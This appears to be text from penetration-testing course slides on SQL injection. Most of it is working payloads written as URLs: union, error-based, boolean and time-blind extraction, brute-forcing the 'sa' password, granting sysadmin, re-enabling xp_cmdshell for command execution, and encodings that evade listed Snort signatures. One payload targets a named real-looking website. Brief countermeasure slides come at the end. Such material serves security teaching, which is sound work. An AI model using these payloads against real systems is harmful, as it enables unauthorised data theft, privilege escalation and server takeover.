http://[site]/page.php?id=-1 union all select 1,2,3,4,5/* <-- gives a valid page but
with the number 2, and 3 on it
or
http://[site]/page.php?id=null union all select 1,2,3,4,5/* <-- gives a valid page
but with the number 2, and 3 on it

Now we know that column numbers 2 and 3 will echo data back to us.
Building the union

http://[site]/page.php?id=null union all select 1,2,3,4,5,6,7/*

http://[site]/page.php?id=null union all select 1,2,user(),4,5,@@version,7/*


Information Gathering

http://[site]/page.php?id=null union all select 1,user(),3,4,5/*


http://[site]/page.php?id=null union all select 1,2,database(),4,5/*
http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/*

Grab the database user with user()


Grab the database name with database()
Grab the database version with @@version
Grab the database data directory with @@datadir
Basic SQLI Attack Methods

Error-Based SQL Injection

http://[site]/page.asp?id=2 or 1 in (select @@version)--


Obtaining the version of the OS

http://[site]/page.asp?id=2 or 1 in (select @@servername)--


Obtaining the hostname of the server

http://[site]/page.asp?id=2 or 1 in (select user)--


Obtaining the user

http://[site]/page.asp?id=2 or 1 in (select db_name(N))--


Obtaining the database name(s). N = start with 0 and keep incrementing
Basic SQLI Attack Methods
Union-Based SQL Injection

http://[site]/page.asp?id=1 UNION SELECT ALL 1--

All queries in an SQL statement containing a UNION operator must have an equal number
of expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--

NO ERROR
You should receive the error with each request, errors not shown to make room for the
slide
Basic SQLI Attack Methods
Union-Based SQL Injection Cont. (1)

http://[site]/page.asp?id=-1 UNION SELECT ALL 1,2,3,4--

http://[site]/page.asp?id=null UNION SELECT ALL 1,2,3,4--

Look for 1 or even a few numbers to display on the page


These numbers that are displayed on the page are the column numbers you can use for
extracting date. Let's say that we see columns 2, and 3 displayed on the screen.

http://[site]/page.asp?id=-1 UNION SELECT ALL 1,user(),3,4--

http://[site]/page.asp?id=null UNION SELECT ALL 1,2,@@version,4--


Basic SQLI Attack Methods
True-False Blind SQL Injection

http://www.site.com/page.php?id=66 AND 1=1-- Valid Page


http://www.site.com/page.php?id=66 AND 1=2-- Error Page

http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 51 3


http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 53 5
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 52 4

http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 43 +


http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 45 -
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 46 .

http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 51 3


http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 49 1
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 48 0

MID() Extract characters from a text field


retrieved version: 5.0.45
Basic SQLI Attack Methods

Time-Based Blind SQL Injection

http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';--
See if it takes 5 seconds to return the page. If it does, then you can ask it questions.

http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor
+delay+'0:0:5';--
Ask it if he is running SQL Server 2000

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'--
Ask it if it's running as 'sa'

http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';--
Ask it if the current user a member of the sysadmin group
SQL Injection In the Real World

In the real world exploiting SQL Injection can be difficult. More and more complex
dynamic queries are being passed to backend DBs. Also, more and more people know
not to run a database as 'sa', and they know to remove the xp_ stored procedures.

It's time to up your game.

* Ugh...wtf
* Privilege Escalation
* Re-Enabling stored procedures
* Obtaining an interactive command-shell
SQL Injection In the Real World

You know I always trip out on the fact that lil john is a millionaire and only has a
vocabulary of "YEAAAHHHHH", and "WUUUUHAAAATTTT".

Here I am hacking into companies and I'm not even close. What am I doing wrong? Maybe
I should trade in the shirt, tie, slacks, laptop for a mouth full of gold teeth, dreadlocks,
baggy pants, 40 oz, and a phat blunt!!!!!

meh..nah...I love hacking too much...YEAAAAAAHHHHH


UGGGGHHH.....WTF??? (1)
http://www.http://www.liljon.com/liljon.asp?lil='
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'

http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near ')'.

Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query.

http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'liljon' to data type int.

Now we know every injection from here on out will require the additional right paren....
@@servername()), @@version()), db_name()), etc....
UGGGGHHH.....WTF??? (1) Cont.
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(DB_NAME())))-
Gives the error:
Conversion failed when converting the nvarchar value 'yeaaaaaah' to data type int.

http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(@@VERSION)))-
Gives the error:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23
2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790:
Service Pack 2) ' to data type int.

The database has been enumerated...WUUUUHAATTTTT

The database has been enumerated...WUUUUHAATTTTT

The database has been enumerated...WUUUUHAATTTTT

The database has been enumerated...YEEAAAAAAAHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!!!!!!!!

Liljohn - Shut the f*ck up....OOKAYYY!!!!!!!!!!!!!!!!


UGGGGHHH.....WTF??? (2)
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2--

Received error: The text, ntext, or image data type cannot be selected as DISTINCT.

http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9--

Received error: Operand type clash: text is incompatible with int

http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null--

Tips:
1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records
with distinct.
2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer
Privilege Escalation

Step 1: Brute-Force the 'sa' password

http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'JOE','waitfor


delay ''0:0:50'';select 1;');&a=1

http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'joe','waitfor


delay ''0:0:50'';select 1;');&a=1

http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','waitfor


delay ''0:0:50'';select 1;');&a=1

Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
Privilege Escalation

Step 2: Add current user to admin group

http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec


master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1

Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
Privilege Escalation

Step 3: Recreate the xp_cmdshell stored procedure

MSSQL Server 2000


http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1

http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select


1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE
@OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT
@result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'',
14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8
127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy
@ShellID');&a=1

Remember to correctly identify the backend version as this step because MS SQL 2000
handle this differently than MS SQL 2005
Privilege Escalation

Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?)

select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;

DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int

EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0

SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult)

EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0

SELECT @result=@OLEResult IF @OLEResult<>0

RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1


Privilege Escalation

Step 3: Recreate the xp_cmdshell stored procedure

MSSQL Server 2005 (re-enabling xp_cmdshell)


http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;exec master..sp_configure ''show advanced options'',1;reconfigure;exec
master..sp_configure ''xp_cmdshell'',1;reconfigure')&a=1

http://[site]/page.asp?id=1;exec master..sp_configure 'show advanced options',


1;reconfigure;exec master..sp_configure 'ole automation procedures',1;reconfigure;&a=1
Filter Evasion

I know that people often think this stuff is very black and white, cut and dry - but the
simple truth with sql injection is sometimes you just have a gut feeling that you are
looking at a vulnerable page.

You've tried a bunch of things but for some reason nothing seems to be working. You
may be facing some sort of filtering. Maybe the developer has attempted to stop sql
injection by only allowing alphanumeric characters as input.
Client-Side Filtering

The first thing that we want to do is determine if the filtering is client-side (ex: being
done with javascript).

View source code and look for any parameters being passed to the website that
may be filtered with javascript/vbscript and remove them

- Save the page locally and remove offending javascript/vbscript


or
- Use a local proxy (ex: Paros, Webscarab, Burp Suite)
Restrictive Blacklist

Server-side Alphanumeric Filter

http://[site]/page.asp?id=2 or 1 like 1

Here we are doing an “or true,” although this time we are using the “like”
comparison instead of the “=” sign. We can use this same technique for the other
variants such as “and 1 like 1” or “and 1 like 2”

http://[site]/page.asp?id=2 and 1 like 1


http://[site]/page.asp?id=2 and 1 like 2
Signature Based IDS

The key to IDS/IPS evasion is knowing that there is one in place.

With an IPS you can use something like Active Filter Detection or you can try something
REALLY noisy from another IP address to see if your IP gets blocked.

Depending of the scope of your engagement you may or may not really be able to identify
when an IDS is in use because it's passive in nature.

I've honestly found this side of the house to be more proof-of-concept, and just having
fun as opposed to something I've actually needed on assessments.
Signature Based IDS (1)
Signature 1
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;)

Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2--
http://[site]/page.asp?id=2 or 1<2--
http://[site]/page.asp?id=2 or 1 like 1--
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2--
....c'mon everyone name some more

Signature Negatives
- Having the ' in the signature will cause you to miss attacks that don't utilize the '
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
If this signature is so easily bypassed, what is it actually good for?

Answer:
It's great for automated tools and script kiddies
Signature Based IDS
Signature Based IDS (2)
Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; pcre: “/(and|or) 1=1 (\-\-|\/\*|\#)/i”; sid: 1; rev:2;)

Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2%2D%2D
http://[site]/page.asp?id=2 or 1<2%2D%2D
http://[site]/page.asp?id=2 or 1 like 1%2D%2D
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D
....c'mon everyone name some more

Signature Negatives
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
- Comments like pretty much anything else can be represented in other encoding type
(ex: (%2D%2D = --)
- It is possible to attack an sql injection vulnerability without using comments
If this signature is so easily bypassed, what is it actually good for?

Answer:
Again, it's great for automated tools and kiddies
Signature Based IDS (3-5)
Signature 3-5
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established; pcre:”/select.*from.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 1;)

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION
statement”; flow: to_server, established; pcre:”/union.*(\-\-|\/\*|\#)/i”; sid: 3; rev: 1;)

Bypass Techniques:
http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
http://[site]/page.asp?id=2 or 2 in (select user)--

http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C
%65%63%74%20%75%73%65%72),5,6,7%2D%2D
http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7--
....c'mon everyone name some more

Signature Negatives
- Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex
Signature Based IDS (6-7)
Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow:
to_server,
established;
pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\-
|\/\*|\#)/i”; sid: 2; rev2;)

Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow:
to_server,
established;
pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%
46)(r|%72|%52)(o|
%6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;)

At least signature 7 takes into account case sensitivity with hex encoding.

But there are always other encoding types that the attacker can use!
Signature Based IDS

The real trick for each of these techniques is to understand that this is just like IDS
evasion in the service based exploitation side of the house.

You have to make sure that your attack actually works. It's easy to bypass an IDS, but you
can just as easily end up with your attack bypassing the IDS, but not working at all.

With this in mind you can mix/match the IDS evasion tricks - it's just a matter of
understanding the regex in use.

http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/
%6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/
%72/*how*/)%2D%2D

What is passed to the db


http://[site]/page.asp?id=2 or 2 in (select user)--
in comments ("IDS evasion is easy just ask j0e to teach you how")
Basic References

SQL Tutorials:
http://www.sql-tutorial.net/

SQL Injection Tutorials


http://www.securitydocs.com/library/3587
http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42

SQL Injection Cheatsheets:


http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
SQL Injection Using Dynamic Strings

• Many functions of a SQL database receive static user input


where the only variable is the user input fields.
• Such statements do not change from execution to
execution.
• They are commonly called static SQL statements.

136
SQL Injection Using Dynamic Strings

• Some programs must build and process a variety of SQL


statements at runtime.
• In many cases the full text of the statement is unknown
until application execution.
• Such statements can, and probably will, change from
execution to execution.
• So, they are called dynamic SQL statements.

137
SQL Injection Using Dynamic Strings

• Dynamic SQL is an enhanced form of SQL that, unlike


standard SQL, facilitates the automatic generation and
execution of program statements.
• Dynamic SQL is a term used to mean SQL code that is
generated by the web application before it is executed.
• Dynamic SQL is a flexible and powerful tool for creating
SQL strings.

138
SQL Injection Using Dynamic Strings

• It can be helpful when you find it necessary to write code


that can adjust to varying databases, conditions, or
servers.
• Dynamic SQL also makes it easier to automate tasks
that are repeated many times in a web application.
• A hacker can attack a web-based authentication form
using SQL injection through the use of dynamic strings.

139
SQL Injection Using Dynamic Strings

• For example, the underlying code for a web authentication


form on a web server may look like the following:
SQLCommand = “SELECT Username FROM Users
WHERE Username = ‘“
SQLCommand = SQLComand & strUsername
SQLCommand = SQLComand & “‘ AND Password = ‘“
SQLCommand = SQLComand & strPassword
SQLCommand = SQLComand & “‘“
strAuthCheck = GetQueryResult(SQLQuery)

140
SQL Injection Using Dynamic Strings

• A hacker can exploit the SQL injection vulnerability by


entering a login and password in the web form that uses the
following variables:
Username: admin
Password: test’ OR ‘’=’

141
SQL Injection Using Dynamic Strings

• The SQL application would build a command string from


this input as follows:
SELECT Username FROM Users
WHERE Username = ‘admin’
AND Password = ‘test’ OR ‘’=’’

142
SQL Injection Using Dynamic Strings

• This query will return all rows from the user’s database,
regardless of whether admin is a real username in the
database or test is a legitimate password.
• This is due to the OR statement appended to the WHERE
clause.
• The comparison ‘’=’’ will always return a true result, making
the overall WHERE clause evaluate to true for all rows in
the table.
• This will enable the hacker to log in with any username
and password.
143
SQL Injection Vulnerability Scanning

• PRACTICAL LAB PDF DOCUMENT IN YOUR


MATERIAL

144
SQL Injection Countermeasures

• The cause of SQL injection vulnerabilities is relatively


simple and well understood:
– Insufficient validation of user input.
• To address this problem, defensive coding practices, such
as encoding user input and validation, can be used
when programming applications.
• It is a laborious and time-consuming process to check all
applications for SQL injection vulnerabilities.

145
SQL Injection Countermeasures

• When implementing SQL injection countermeasures,


review source code for the following programming
weaknesses:
– Single quotes
– Lack of input validation
• The first countermeasures for preventing a SQL injection
attack are
– Minimizing the privileges of a user’s connection to
the database and
– Enforcing strong passwords for SA and
Administrator accounts.
146
SQL Injection Countermeasures

• You should also disable verbose or explanatory error


messages so no more information than necessary is sent
to the hacker;
• Such information could help them determine whether the
SQL Server is vulnerable.

147
SQL Injection Countermeasures

• Another countermeasure for preventing SQL injection is


checking user data input and validating the data prior to
sending the input to the application for processing.
• Some countermeasures to SQL injection are
– Rejecting known bad input
– Sanitizing and validating the input field

148
QUESTIONS?

149

You might also like